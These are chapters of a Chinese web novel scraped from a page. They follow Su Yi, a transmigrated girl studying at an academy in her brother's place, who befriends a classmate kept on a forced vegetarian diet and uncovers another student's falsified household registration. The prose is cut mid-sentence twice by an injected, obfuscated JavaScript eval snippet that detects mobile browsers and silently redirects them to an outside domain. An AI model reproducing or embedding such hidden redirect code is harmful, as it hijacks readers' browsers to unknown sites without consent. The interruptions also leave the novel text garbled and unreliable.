也不知这段文翰和苏缜有什么过节,这样一门心思的鼓动贾夫人闹事,甚至最后即便在知晓苏缜退学的情况下,还是不依不饶,想要去家里找苏缜麻烦。 十天之后是中秋,像贾家这样的人家还有很多节礼要准备,贾夫人要准备节日的事,应该暂时没空去苏家找人,可等到过完中秋闲下来后,没准就会在段文翰的教唆之下跑苏家继续来闹。 原本她觉得只要跟苏缜交换读书后续一切麻烦就能得到解决,结果现实远远没有她想的那么简单。 既然他们这般执着的惹是生非,那就找个一劳永逸法子,让这二人彻底闭嘴,不再纠缠苏缜。 5. 005 明德书院的放学时间在申正一刻,苏宜步行抵达姨母家中的时候已是晚膳时分。 她的双生子表妹钟钰和钟琪两人正在桌前摆饭,见到她进屋双双笑道:“表姐回来了。” 过逝的外祖虽然也是当地小有名气的教书先生,但却一直封建入脑,认为女子没有读书的必要,在家安分贤惠相夫教子才是第一位。 苏宜的母亲林茵没听进去,小姨林萍却很明显听进去了。 也正因如此,钟姨妈对于专程过来县城念书的苏宜也没什么好脸色,自顾自嘟囔道:“女孩子家家的读什么书,没的叫人笑话。看你那祖母倒也像个明白人,怎么这种大事上这样含混不清,把小缜送去私塾,把你送了学里。” 说罢,不等苏宜说话,从盘中挑了两块最大的肉片放到她饭碗:“快吃,看你瘦的,若是在学院里跟他们起什么冲突,可不是一拳就得让人价给放倒了。” 今晚钟姨妈做了一道青菜炒肉片,当中一共搁了薄薄的五片肉,夹给苏宜两片之后,余下娘仨一人一片。 面对此情此景,接受能力一向是强的苏宜也了沉默了几秒。 林萍这个人怎么说呢? 虽然观念上对她的行为有些不认同,但心里还是疼她这个外甥女的。 苏宜觉得,她跟窦氏应该挺有共同语言,难怪方才说祖母是个明白人。 用过晚膳之后,钟姨妈又转身去屋里提了个食盒出来,对两个女儿道:“今天还余了几个果子和我午间蒸的豆腐包子,一会儿去对街给你阿爹送去。” 看两个表妹脸上神情很是精彩,抗拒之情溢于言表,苏宜主动起身:“就是对街那家酒楼吗?我去送吧。” 姨母方才给她把饭压得太实了,她又不想浪费粮食,一整碗都吃下去,这会儿撑得有些难受,正好出去溜溜。 再说相比两个表妹而言,她这一身男装出门也的确方便。 钟钰钟琪姊妹两人都明显松了一口气,殷勤送表姐出门。 姨丈入职的那家泰丰楼规模不小,账房先生共有两位。 一个是苏宜的姨丈钟明,另一个姓徐,看着是位十分干练的中年女子。 钟明习惯了苏宜之前女孩打扮的样子,乍一看还有些诧异。他起身接过外甥女手中的食盒:“今儿怎么是你过来?” “姨母让我来送些吃食过来,叮嘱您店里忙的时候也顾惜着自己身子。” 徐娘子闻言打趣道:“哟,又是来送吃食的,家里有这样的嫂子,钟兄真是好福气。” 苏宜听出了她话音中的调侃,大大方方应道:“是啊,姨母还让我代她向娘子问好。” 钟明点点头,对苏宜道:“我还有一些账目要算,你先自己坐着歇会儿。” 说话间,身形窈窕的老板娘朱氏走进来,拿刚涂好蔻丹的手指不轻不重的敲了敲桌台:“县衙贾大人家那两个亲戚刚走,说是刚才那桌还是记在县丞大人账上。” 徐娘子撇嘴:“就他家年底要账最难,一个八品县丞谱儿比县太爷都大呢。说起来,您家里上头也是有人的,怎么没想着去找他说道说道。” 老板娘叹气道:“县官不如现管,再说你怎么知道他上头没人?先记上吧。” 苏宜捧着徐娘子递过来的热茶坐在一旁,闻言感叹这家人的跋扈在上元县中已到了人尽皆知的程度,也难怪最后倒台之时谁都想去踩上两脚,下场凄惨。 一刻钟后,苏宜带着空了的食盒回到家中微笑着交给姨母。 “今天店里忙,姨丈一直在那边算账记账,没空跟人说话,老板娘来了也没什么功夫搭理,倒也真是辛苦。” 姨母听闻此话当即笑得十分温和:“你阿娘前儿还跟我说,你是个有分寸的好孩子,待人接物都很是妥帖,今日一见,果然不错。” 说罢,还十分大方的给了苏宜五文零花钱。 钟家姊妹齐齐惊讶地睁大了眼睛。 从前她们给爹爹送饭回来的时候,阿娘接过食盒时回回都鼻子不是鼻子,眼睛不是眼睛,还能得到零用钱更是想都不敢想的事情。 三姐妹的房间被钟姨妈安排到了一处,等母亲转身去厨房忙活之后,钟琪便将两个姐姐拉进房里,低声对苏宜道:“表姐你用了什么法子哄阿娘开心?她以前可不是这样……” 钟钰也在一旁认同的频频点头,她和妹妹可没少为了给阿爹送饭的事情吃阿娘的排揎。 苏宜想了想,道:“你们是不是觉得,那酒楼里面什么吃的没有?姨丈那么大的人了,不可能饿着自己,姨母这都是多此一举,所以去泰丰楼放下东西就回来。” 钟钰点头道:“是的表姐,可我们明明都按着阿娘说的话去做了,回来她依然不高兴,不像表姐你……送饭回来,阿娘就很开心。” “其实也不是你阿娘多此一举,只是有些不放心姨丈,所以让你们过去看看……” 经过这些日子的接触,苏宜一早就看出,姨母林萍是个有些别扭的性子,就像刚才她刚进家门时,明明对她十分关心,但嘴上却依然不饶人,总要叨念几句。 酒楼当中有精明能干的徐娘子,还有生得美艳动人的老板娘朱氏,林萍借口送饭,实则是想让女儿去酒楼看看丈夫的工作情况,尤其是女有没有跟女同事有越界表现。 但她生性傲娇,即便对着亲生女儿也说不出口,每次得不到想要的答案却又心中烦郁。 苏宜短短几句话便交待了钟姨夫在工位很忙,忙得连和女同事说话的功夫都没有,林萍自然满意。 只是两个妹妹年纪还小,苏宜也不好跟她们说得太多,只是道:“反正我最近都在,放学后也没什么事,我去送给姨丈送饭就成,也省得你们再跑。” 等她三年之后学成归家,想来两个表妹也就到了能够理解母亲的年纪,可以精准传达有效信息。 苏宜第二日抵达学校之时,教室昨日空着的几个位子已经坐了一半的人,只是个个都有些没精打采,神色郁郁。 苏宜这才想起,今年金陵府的县试举行的早,这会儿已然发榜完毕。 书院按照学生科考程度分级,这个班级主要面向的是准备县试的学生群体,也就是说,这几个孩子都是没能考过县试所以只能回到本班,不能去高年级班的学生,也难怪这样垂头丧气。 今天授课的先生姓戴,据说跟某位副院长是亲戚,上课一向不准时,这会儿还没过来。 同学们早读结束后,开始三三两两小声讨论起来。 除了讨论今年县试题目和参考同学的成绩外,就是昨天放学前的那件突发事件。 苏宜的邻桌和她并不不熟,也没有想要主动交往的意思,便趴在那里跟前桌交流起来。 “你说苏缜没事招惹韩家少爷干嘛,贾夫人可就这一个弟弟,最是疼惜他们韩家这根独苗,若是真的伤了残了,保准拔下苏家一层皮来。” 前桌皱着眉摇头道:“听说贾家上面有人,难怪平日比县令还能拽呢,苏家一个寻常农户,能有多大能耐?苏缜在学里也不知道夹着尾巴做人,惹出这样的麻烦,若是韩家追究起来,此事怕是不得善了。” 苏宜听得直皱眉头。 这两人一副理中客的口气品评着整个事件,只觉得是苏缜招惹了不该招惹的人,才有了这段官司,却无一人提及他其实也是遭受了无妄之灾。 苏宜活动脖子看向窗外,见戴先生正在廊下点头哈腰,将一位牵着十三四岁孩子的夫人一路引了过来。 书院明文规定家长不入内,苏宜刚入学时,苏父也想着将她送进学校,却被门外教务人员连声制止,而这些有权有势的夫人却个个都往学里跑,当真是把“双标”一词演绎的淋漓尽致。 管理层怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472554|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是早就忘了宋先生办学时的初心,难怪这几年都在走下坡路。 身着天青色杭绸团花锦袍的小公子一脸不情不愿地走了进来,苏宜记得昨天那个位子上还没有人,今日却又回了教室,显然也是去县试没有考好,怨气很大,被家里扭送着来上学。 送走那夫人之后,戴先生开始授课,讲完教案上的常规知识后,又聊起了去年中秋之事。 中秋这样阖家团圆的重要日子,竟然有学生大老远跑家里,打扰了他和亲人相聚的时光,只为了送两块花生饼过来,弄得他这一整年都不想吃烙饼,一看到就觉得后槽牙隐隐有些酸。 戴先生这几句话的提示属性太过明显,苏宜脑海当中蓦地出现王老师在秋雅婚宴上的那张脸,对着当年送挂历的学生一脸大度:“老师不记仇”。 科举是读书人一生的大事,而学堂先生便在其中担任“引路人”的角色,只要对方提出的不是太过分的事情都尽量满足。 戴先生的暗示很快起了效果,下面已经开始有学生讨论这个中秋应该给他送些什么。 戴先生对于今天的讲课成果十分满意,很难得的给了个笑脸,道了“下课”后便转身离开。 戴先生彻底带偏话题后,苏宜再也没从周围人的讨论当中得到任何有用的信息,而更让她出乎意料的是,段文翰大概考过了县试,一直没有再回这个班级。 这也让她越发的无从下手。 苏宜不自觉地有些烦躁起来。 书院学生的解决午饭方式分为两种,一种是去书院饭堂用餐,另一种则是自行带饭。 书院不是后世学校,没有财政补贴,饭堂价格也比寻常餐馆更贵一些。 苏缜来上学时,家里提前给了姨母伙食费,让姨母给他带一点主食和酱菜作为午餐。 而苏家父母觉得苏宜到底是女孩儿,不比男孩子耐摔打,出来学习本就辛苦,应该吃点好的,便又添了钱给学校让她直接吃食堂,不必带饭过来。 书院食堂的菜色比家里更种类更丰富一些,也会变换花样,在学了一个上午的“之乎者也”之后,能吃上热乎乎的饭菜是一件很幸福的事情。 而对于这些十岁上下的孩子而言,去食堂吃饭的意义不仅仅是吃饭,更多的是一个融入集体的象征,且相比于从家中带饭在教室胡乱解决的那些孩子,更添了一重隐隐的优越感。 苏宜用过午膳后抄近路回教室,却在半路被李笙叫住。 “我看了你昨儿交上来的功课,不光立意不错,字也写得很好。这两日要给几个学生记档入册,我这字却又实在有碍观瞻,正好你过来帮我记这几册。” 眼见下午上课时间还早,对面的李先生又是一脸的真诚恳切,苏宜没有理由拒绝,便跟着他去了工位,一并帮着填写。 这一批通过县试的学生不少,书院的学籍档案上自然也少不了添上一笔。 前面几个学生誊录起来都十分顺利,拿到段文翰的学籍档案后,苏宜却发现了问题。 苏缜给她写的那本册子上曾经提到,段文翰和班里一位姓秦的同学是老乡,祖籍都在徐州府,可段文翰的学籍档案里分明写着,他的祖籍就是金陵。 科举制度的严格程度比起后世中考高考不遑多让,籍贯方面尤其不允许作假。 朝廷一直都有规定,不管考生在哪里读书生活,都要到原籍参加考试,而如果籍贯一旦作假,则会被废除成绩,永不录用。 从考试难易程度来看,金陵府的教育水平更高,县试比起徐州府竞争也更为激烈,段文翰在金陵考试明显是吃亏的那个,而他却选择将籍贯填作金陵,在这边参加科考。 如果不是苏缜不当心弄错了同学籍贯的话,那么段文翰身上一定有更大的问题。 这个秘密让他宁愿冒着被取消成绩的风险也要更改籍贯,掩盖这背后的秘密。 6. 006 苏宜也没想到,事情短短两天时间内就有了如此进展,从李笙办公室出来后脚步都轻快了几分,就连下午听戴先生不知所云的授课也没多少反感。 姨母今天态度不似昨日,一见她来就笑语盈盈地叫进屋中用饭。 其乐融融的一顿晚膳之后,还是照例由苏宜去给姨丈送果子和烙馍。 所谓一回生二回熟,苏宜熟门熟路地提了饭盒,起身便去了泰丰楼。 结果刚到酒楼门外,就听到门前一阵吵嚷,似乎是产生了什么纠纷。 苏宜拨开看热闹的人群走到前边,只见一个十三四岁的年轻公子抱臂站在那里,正是今日被母亲送来学堂念书的同窗贺景辞。 而老板娘朱氏则站在门前一脸为难:“你母亲前儿菜叮嘱过,不能私下给你乱吃东西,公子快请回吧。” 贺景辞挽起袖子,正要说些什么,突然看到苏宜,顿时换了口风:“我来陪我同窗吃饭,你们都散了吧。” 他抬起手来,状似亲昵地搭在苏宜肩膀,不动声色地将一块银子塞在她的手中,低语道:“这家大师傅做得烧肉好吃,你可一定要点。” 苏宜拍掉他的胳膊,退开两步道:“我姨丈在这里帮工,我是来送饭的。” 一听她说是这家店的员工亲属,贺景辞的脸色瞬间垮了下去。 看着贺景辞失落的神情,苏宜蓦地想起了前世的妹妹。 妹妹刚进入青春期那段时间没有注意控制饮食,短短半年内体重飙升二三十斤,妈妈便请来专业营养师为她调理身体,饮食上也严格控制。 当妹妹嘴馋想要吃炸鸡时,就会用方才贺景辞这种乞求的眼神看着她。 苏宜心中一动。 虽然后来妹妹也长成了独当一面的公司女总裁,但那会儿的确是她最柔软可爱的时候。 苏宜受不住她的请求,却又不好无视妈妈和营养师的要求,只能吩咐助理将炸鸡买回之后,撕掉外面裹满酱汁和淀粉的炸鸡皮,只取当中热量较低的鸡腿肉撕成条给她解馋。 想起前世的妹妹,苏宜对眼前这个十三四岁的少年也不免心软起来。 除此之外,这样能给得起饭钱却被饭店拒之门外的情况实属罕见,苏宜吃瓜心起,十分想知道其中缘由。 也正因为有这两点原因,让她有些无法拒绝对方仅仅想要吃烧肉的这个简单要求。 “我知道有处烧肉味道绝佳,等我忙完带你过去。” 钟姨妈的烧肉做得也是一绝,贺景辞这二两银子吃个三五顿都不成问题。 将食盒里的茶点交给姨丈之后,苏宜便带着贺景辞去城南市场采购食材。 “你是前几日刚转来我们书院的吧?”贺景辞率先开口同苏宜聊起来,“真巧能在这儿遇见你。” “嗯,的确是巧。”能一眼就把她认出来,显然眼神不错,苏宜有些好奇地对他问道,“为什么你母亲不许泰丰楼准你进去吃东西?这其中究竟什么缘故?” 大概是考虑到家丑不可外扬,贺景辞咬牙,纠结许久后才缓缓道:“自从我上次县试落榜后,母亲便找了一位大师,请他帮着看看……” “大师?” “嗯……他先看了我们家里的布局风水,又问了家中过往经历,而后便对我母亲说,我其实在胎里就是个有福气的孩子,只要一心向佛,不沾荤腥,便能一直延续了这福气,无灾无病,心想事成。” 贺夫人听了之后十分信实,要不是本朝规定和尚修士之类的身份都不能考科举,没准就会让他直接拜在大师座下,一边修行一边学习。 苏宜:…… 原本以为这是一本正剧权谋小说,没想着其中也隐藏着炸裂的胎里素文学。 贺景辞见苏宜带着自己越走越远,不由好奇开口:“我们要去哪家饭馆用餐?” “家中姨母做得烧肉颇有意味,不过家中材料不够,需要我们先去采买一些食材。” 还好她去年来姨母家中做客时,曾跟着母亲一起去市场采购过,否则这会儿找个市场采购食材也难。 “这敢情好。”贺景辞抚掌道,“我母亲再想不到我能在那里,也定然抓不到我。对了,我今儿只带了一小袋碎银子出来,不过这身上的玉佩、扇坠和发簪都能拿去当了。” 言下之意,你放心,哥不差钱,不会白吃你们家东西。 苏宜:…… 这哥们儿真是生动诠释了什么叫穿金戴银却吃不上饭。 十三四岁的年纪正是长身体的时候,被家长按头强行吃素,可能会造成维生素和微量元素的缺乏,本来脑子就不够用,这会儿营养再跟不上,怕是更难取得成绩。 苏宜记得苏缜给的册子上也曾提到过这个同学,是书院家世最好的学生之一。 虽然贺景辞父亲早亡,由母亲一手带大,但叔父却是时任光禄寺少卿的四品京官,在上元县城的百姓看来是高不可攀的人物。 贺家才是真正意义上的“朝中有人”。 苏缜显然和贺景辞并无多少接触,在册子里对他的评价也就短短一句,比较高冷孤僻不理人。 现在看来,也可能并非性格使然,纯粹就是饿的。 贺景辞在家中明显也是十指不沾阳春水的小公子,这是第一次过来市场割肉买菜,看什么都新鲜。 别说苏宜这辈子已经跟着窦氏等几位长辈采买过几次食材,就是上辈子身为苏家大小姐的她,在国外读书时也没少买菜做饭,这会儿和贺景辞一比,反而成了行家。 钟姨妈听说苏宜带了同学回来,还心中纳罕。 这外甥女看起来还挺能耐,去书院没几天的功夫就交到了朋友,以前苏缜住在这边上学的时候,倒是从没见他带了同学回来。 结果这孩子一进门就递过来一堆食材,十分礼貌的说真是麻烦您了。 苏宜也在一边补充着点了几道菜。 钟姨妈:…… 这是学校饭不好吃,把孩子饿着了? 不过苏宜今日想吃的都是她拿手的菜色,对她来说可谓是手到擒来。 一个时辰后,几道硬菜陆续出锅,满屋飘香,苏宜叫了两个妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472555|185549||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹一起出来吃宵夜。 贺景辞大口啃着鸡腿,眼睛却往苏宜身上直瞟。 “你回家里……比在学校好看多了。” 虽然五官轮廓和白天在书院的他很像,但却是跟白天截然不同的美貌。 不等苏宜回复,贺景辞直接出言表示理解:“我要能长成你这样,我母亲没准也会让我装扮一下,让人看着寻常一些。” 总被人盯着看也容易影响学习不是? 苏宜也是经他提醒之后才意识到这个问题。 她手上的经费有限,买来的化妆用品质量也很是一般,她在外带妆一天,脸上闷闷的,放学一回来就全都洗了下来,再没想到出门送饭的功夫还能带同学回来。 吃完宵夜后天色已然不早,苏宜知道他家人难缠,也不留他:“你知道回去的路吧?” “知道知道。” 苏宜抬手又给他添了两勺肉沫烩豆腐:“快吃,吃完了早些回去,也省得你家里人担心。” “我母亲近来整晚礼佛,这会儿不会管我。”贺景辞吃完盘中最后一口烩饭,点头应道,“只是今日来得匆忙,又叨扰伯母一场,实在过意不去,改日再带了礼物再正式过来拜访。” 钟姨妈明显对这个彬彬有礼的少年印象不错,闻言连连摆手道不必麻烦,又道他买来的食材实在太多,吃个三五顿饭都绰绰有余,让他拿回家去。 带肉菜回去就要被母亲抓包,贺景辞哪里敢应这话,执意将东西都留了下来留下,一根葱一头蒜都不肯带有,说是就当给伯母辛苦费,要不然的日后再不好意思来家里叨扰云云。 林姨母想了想,道:“那我再做点肉条和肉脯,你们课间吃也方便,明儿就让小宜给你带过去。” 贺景辞闻言眼睛都亮了起来。 贺景辞第二日起了个大早,匆匆洗漱后背上书包便去了书院。 这次就连他母亲贺夫人都看傻了眼,这孩子何时有上课这么积极的时候?转念一想,兴许就是自己要求他吃素抄佛经有了效果,净化了心灵,所以可以心无旁骛的积极上课学习。 贺景辞焦急地站在去教室的必经之路上等着苏宜,直到接近开课时分,苏宜才姗姗来迟。 贺景辞着急上前,压低声音道:“你怎么才来,我东西呢?” 苏宜交给他一个油纸包,贺景辞快速地接过放进了书包里。 知道的是在给肉干,不知道的还以为是在交换什么违禁物品。 几个通过县试同学转班后,班级当中又空出了好些座位出来,先生们需要重新调整教室座位。 李先生和戴先生是班级教习老师,今日一早都在教室商议着调位子的事情。 而今教室之中空着的最好位置便是贺景辞旁边,正中间第二排的那个位子。 李笙本来打算把成绩比较好能冲刺下次县试的学生提过来坐在这里,戴先生却一脸谄媚的上前,询问贺景辞想要选谁做自己的邻位。 贺景辞环顾了一下四周,目光最终定格在西北角偏远角落里的少年:“我选苏宜。” 7. 007 面对贺景辞突如其来的选择,苏宜也有些意外。 但想到苏缜说这人在书院一向高冷,也没什么朋友,而自己同他好歹还有一顿饭的交情,这样一想,对方想选自己做邻位的事情也就变得合理起来。 今天上午照例是李笙授课的四书,许是备考县试的班级师资力量在整个书院当中最为薄弱,李笙一个刚刚及冠的年轻老师反而是所有先生当中授课最好的那个。 两堂课的时间很快过去,苏宜询问贺景辞要不要同她一起去饭堂用饭。 贺景辞摇头:“不去了,我在这儿简单吃点就好。” 贺夫人既然能找到泰丰楼不许给他荤菜,想来也跟学校食堂嘱咐过什么,苏宜看他上课的时候总忍不住偷偷低头摩挲那包肉脯,估计是已经想吃了一上午,这会儿就要在教室大快朵颐。 “好,那我先去饭堂了。” 用过一顿简单的午饭之后,苏宜在回教室途中被外头教工喊住,说是家里头有人找。 苏宜快步走到书院大门,便见得林有春正在那里等她。 她走上前来,同他打招呼道:“大有哥,你怎么来了?” 林有春眉眼弯弯,笑得如同春日暖阳:“我正好路过书院,来看看你。” 林有春生得又高又大,一身的力气,看到苏隅外出做工后也来了灵感,平日除了在家和两个弟弟一起做农活外,开始主动走出村子,承担一些帮人送货的活计。 只是他家中还有经历那场官司之后身体就一直不好的父亲和两个幼弟,所以一般也不会跑的太远,只去附近的几个县城做活,三天之内能来回的那种。 林有春将两包炒豆子交给苏宜:“娘想着从前你和小缜都喜欢她做的炒豆儿,听说我要来上元县城,就让我捎带过来,哪知去你姨妈家中问了一圈才知道,你来了这书院读书,所以才找了过来……” 想起之前苏宜对外宣传只是去姨妈家小住,林有春又连忙对她保证道:“你放心,我回村之后只当你在钟家小住,绝不会乱说。” 这样匪夷所思的事情,他开始也接受无能,一度以为是钟姨妈不想让他见到苏宜在敷衍他,想来林家村的人也是一样,即便听说这件事情也觉得匪夷所思,不会相信。 但他一直感觉苏宜和别人不一样,很多听起来不可能发生的事,在她这里都会变成可能。 苏宜知道他一向是言而有信,接过豆子之后同他道谢:“多谢你和二婶费心,大老远还想着送零食过来。” 听闻林有春近来走南闯北,跟三教九流的人都有打交道,苏宜心中一动,道:“你可知晓这金陵城中哪家探事人办事稳妥?” 这个时代的“探事人”相当于现代的私家侦探,可以帮着雇主查探一些私密之事。 自从知晓段文翰的户籍可能存在问题后,她就一直想要探究其中缘故。 只是段家将此事瞒得十分之紧,别说她现在刚来书院,除了贺景辞之外的同学都不熟悉,就算是跟班内同学逐渐熟悉起来 ,估计也问不出这内里的事情。 林有春想了想,道:“最近我做工的那家镖局就有做这些的探事人。” 苏宜也一早听说,金陵一带的很多镖局都会承担这个业务,闻言也并不意外:“探事定价如何?大有哥可知晓?” “月前任镖头出门路遇山匪,我帮着出力不少,他前些日还总说欠着我人情,若不是什么大的难事,我请他帮着查探一番便是。” 苏宜听他说得真诚,也不跟他继续客气,直言道:“我们书院有个学生,姓段,名文翰,他记档的户籍是金陵滁州,小缜却说他祖籍徐州府,我想知道他真正的户籍所在,只是我而今手头比较紧,没多少银钱支付酬劳,只能日后再还。” “小宜你这可就见外了,照这么说来,我家欠你的更多,你愿意找我已经是信得过我,你放心,我一定尽快给你一个交待。” 等林有春告辞离开后,苏宜再一次意识到赚钱这件事情的紧迫性。 之前来到苏家的一年时间里,她的主要精力都用于帮着提高家里的整体收入水平—— 一则是她一个只有十岁的女孩,在村里没有什么赚钱机会,若要大兴土木提纯盐做肥皂,窦氏第一个不能同意。 二则就林家村的生存模式而言,让苏家父母全身心投入生产,她和窦氏打理家中大小事务投入最小产出大,作为一个商科优秀毕业生,在如此环境之下,她总会下意识去找最优解。 事实证明她的规划的确取得了一定成效,只是个人手上却没有多少活动经费,又因着家中实在不算富裕,还有外债要还,从不主动开口跟家里要什么东西。 今天也是她运气好,有林有春这个机缘帮衬,但人总不会一直有这么好的运气,更多时候还是要靠等价交换获取一些东西。 所以对于如今的她而言,赚钱攒钱是一件刻不容缓的事情,好在县城的机会总比村里更多一些。 苏宜正要返回教室之际,刚转身就看见贺景辞找了过来。 “刚才好像看你在门前晃了一下就不见了,出来看看。”贺景辞道,“是你家里人来看你了吗?” “是以前邻家的兄长,带了些自家做的炒豆子过来。”苏宜看他似乎对自己手上的油纸包感兴趣,便分了一半给他,“你也尝尝。” 贺景辞欣喜地接过豆子,倏尔降低声音道:“你是不是跟他提到了段文翰?” 贺景辞如今算是苏宜在学校唯一的熟人,看起来品性不坏,想着这件事情日后没准还要请他帮忙,苏宜便也没再避讳,直接应了声“嗯”。 哪知贺景辞却皱眉道:“那姓段的不是什么好东西,韩修杰靠着姐夫关系在书院横冲直撞,行事无状,你最好离他们远些。” 听了和自己印象中段文翰相一致的评价之后,苏宜更是放心了几分:“我看段文翰学籍和之前秦绩说的不一样,所以好奇请林大哥帮忙查问一下。” 贺景辞听了这话惊得下巴都要掉下来:“那不得取消成绩?不过他和贾家关系好,这样轻松便过审参试,没准就是贾家帮着做的,就算查出些什么,也动不得他。” 苏宜记得,男主盛祈安的父亲两年后会改任金陵府知府,盛祈安也是在那时转来明德书院读书的。 而盛父转任金陵府知府的原因,便是在钦差付大人巡视金陵时发现了前知府欺上瞒下,贪墨过度,皇帝得了上书后,便将时任扬州知府的盛大人调至金陵当差。 这次巡视地方的钦差付大人是个难得的正直好官,同时又是目前准太子二皇子的亲信,不会包庇地方势力,算算时间,付大人八月前后就会从济南府直接过来金陵,先是暗访后为明察。 这样关乎朝廷选才的大事,一封状纸递上去,付大人绝不会袖手旁观。 “花无百日红,人无千日好。”苏宜将目光收了回来,清晰而坚定道,“会有办法的。” 苏宜换了新的位子后,听课果然也开始变得更好更清楚。 上次交功课的时候,况先生眼里根本没她这个人,这会儿听说了换座之事后,以为她和贺家有亲,多当场做了批改和指导不说,态度更是客气得判若两人,想来短时期内不会为难她。 苏宜也没想到偶尔的好奇心引发的善心带来了一连串的效应。 接下来的时间里苏宜的学习生活逐渐步入正轨,每天非常规律的每天上课,放学采购食材,回家给给姨丈送饭,第二天给贺景辞带零食。 随着中秋节的临近,假日气氛越来越浓厚。 临到中秋放假之前,李笙请苏宜过来了自己办公室一趟:“我记得你和苏缜家里是亲戚?” “是。” 李笙叹气道:“那贾夫人带了礼物去周家送节礼,替弟弟道歉,周家觉得自家孩子没有半分错处,去被韩修杰这样打了一通,心中憋气,连节礼都没有接受,直接撵了出去。” “那韩夫人一肚子气没处去撒,已经来了书院两趟,节后大概便去找苏家麻烦。可这事也不是苏缜的错,他才是真正被迁怒的那个,你这几日休假回去记得去他家提前告知一声,让家里有个准备,也省得到时闹得难堪。” 苏宜心中一动。 书院当中来来往往这么多人,都是抱着看戏看热闹的心态,指责苏缜自不量力,惹了不该惹的人。 除了贺景辞说过段文翰不是好东西,韩修杰行事无状之外,唯一一个给苏缜说公道话并且提前告知她避免麻烦的,只有李笙。 苏宜真诚道谢后,回教室收拾书包回家去过中秋。 一想到接下来三天都要吃全素宴,贺景辞当即皱成苦瓜脸,而后又自我安慰道:“我叔父说这次中秋会跟着在外巡查的付大人回来,也不知他到家之后,母亲会不会变好一点。” 原来这会儿巡查钦差就已经开始赶往金陵?这时间节点可谓是卡得刚好,苏宜收拾书本的动作都变得轻快了几分。 林有春还在城中办事,一早就跟苏家知会过了,要过来接苏宜回村过节。 放假那日,林有春准时出现在了书院大门,一见到苏宜便给她带来了爆炸性的好消息。 “你要查的那件事情已经有眉目了。”林有春顺势帮苏宜拎过行李,压低了声音道,“段家的确谎报了户籍。” “果真?”苏宜也没想到段家竟然这样胆大,户籍作假的事情也敢去干。 “是啊。”林有春道,“任镖头说,段文翰他祖父是徐州人,只是他爹尚在年幼之时,祖父便死于意外。两位叔祖父霸占家中田产后,祖母就带着他爹改嫁到了金陵。” 本朝规定,若无生父无户籍记载,才允许以继父的户籍所在地作为籍贯登记依据。就算继子女因为一些原因在继父户籍地登记,但实际祖籍仍追溯至生父的原籍。【1】 也就是说,若论起户籍一事,段文翰的继祖父远远没有亲生祖父那样有效力。 段文翰的继祖父户籍在金陵府,亲生祖父户籍却在徐州府,而他报考县试时用金陵府做籍贯所在地,连个特殊备注说明也没有,显然不符合报名章程。 而科考这样重要的事情,都需要追溯祖上三代,轻易马虎不得。 段文翰这般作为,定是因为籍贯这件事对他科考有什么不利影响,才会如此尽力隐瞒。 想到这里,苏宜对着林有春继续问道:“那段文翰的祖父又是如何过世的?可是犯过会影响后代科考的事?” “那倒没有。”林有春道,“那家人在当地也算是殷实人家,他祖父还是深得当地县令信任的捕快,替当地县令做了好些他不方便出面的事情。只是年少得志不免年轻气盛,那日跟人在酒馆发生口角,就抽刀吓唬人家,结果那客人抄起桌上酒坛把他给打死了……” 林有春还在说着后续的事情发展,那抄起酒坛打人的也是乡里一个穷横的无赖,要钱没有,要命一条,半点都不肯赔偿,县令也不满治下捕快在外逞凶斗狠,又恨他家中亲眷拿他之前帮自己做过的脏事威胁,最后硬是没给半点抚恤,这也造成了后来段文翰祖母不得已离乡改嫁的窘境。 话说到这里,无需再探究后面发生的事情,苏宜便已经知晓了段文翰隐瞒户籍和祖父职业的原因。 古代考公对于长辈情况的限制比现代要严格更多,除了作奸犯科的罪犯后代不许入朝为官外,还有跟多职业后代尤其是三代以内也都不被允许参加科举。 这些职业除了大众认知里的戏子、仆妇,流民等下九流外,在官府服务的差役、捕快、地保、甲头、更夫、亲丁等低级官吏,子孙也都不被允许参加科举。【2】 捕快大都属衙门编制外人员,准入门槛极低,清代更是被归入“贱籍”行列,有些地方衙门为了行事方便,震慑民众,甚至还会让有前科的小混混加入捕快行列。 沈括的《梦溪笔谈》里也曾提到,“天下吏人,素无常禄,唯以受赇为生。”意思是说捕快的收入不够稳定,所以经常会滥用职权,为非作歹,祸害百姓,甚至充当一些地方官员的黑手套和打手。【3】 而段文翰及家人隐瞒这一切的原因,就是想要越过捕快三代以内不能参试的规则,照常参加科举。 ** ** 苏宜回到林家村时天色已晚,远远就见得苏缜在田头站着来接,大概是已经等候多时。 苏缜对着林有春道谢后,自然地接过苏宜手中行李,和她一同往家中走去。 这是苏宜穿越这一年的时间以来第一次看到如此神采奕奕的苏缜,脸色也肉眼可见的红润起来,想来留在乡里上私塾的这段时间吃的不错学的也开心,身体和精神都得到了极大的愉悦。 苏缜的变化也不止在外形和精神气儿上,这个以前家中最是沉默寡言的弟弟,也开始主动找话题同她聊了聊了起来。 作为一个启蒙较早又在城里书院读过书的少年,回到这乡里的私塾读书便是一等一的优等生,在课堂上也有着绝对优势。
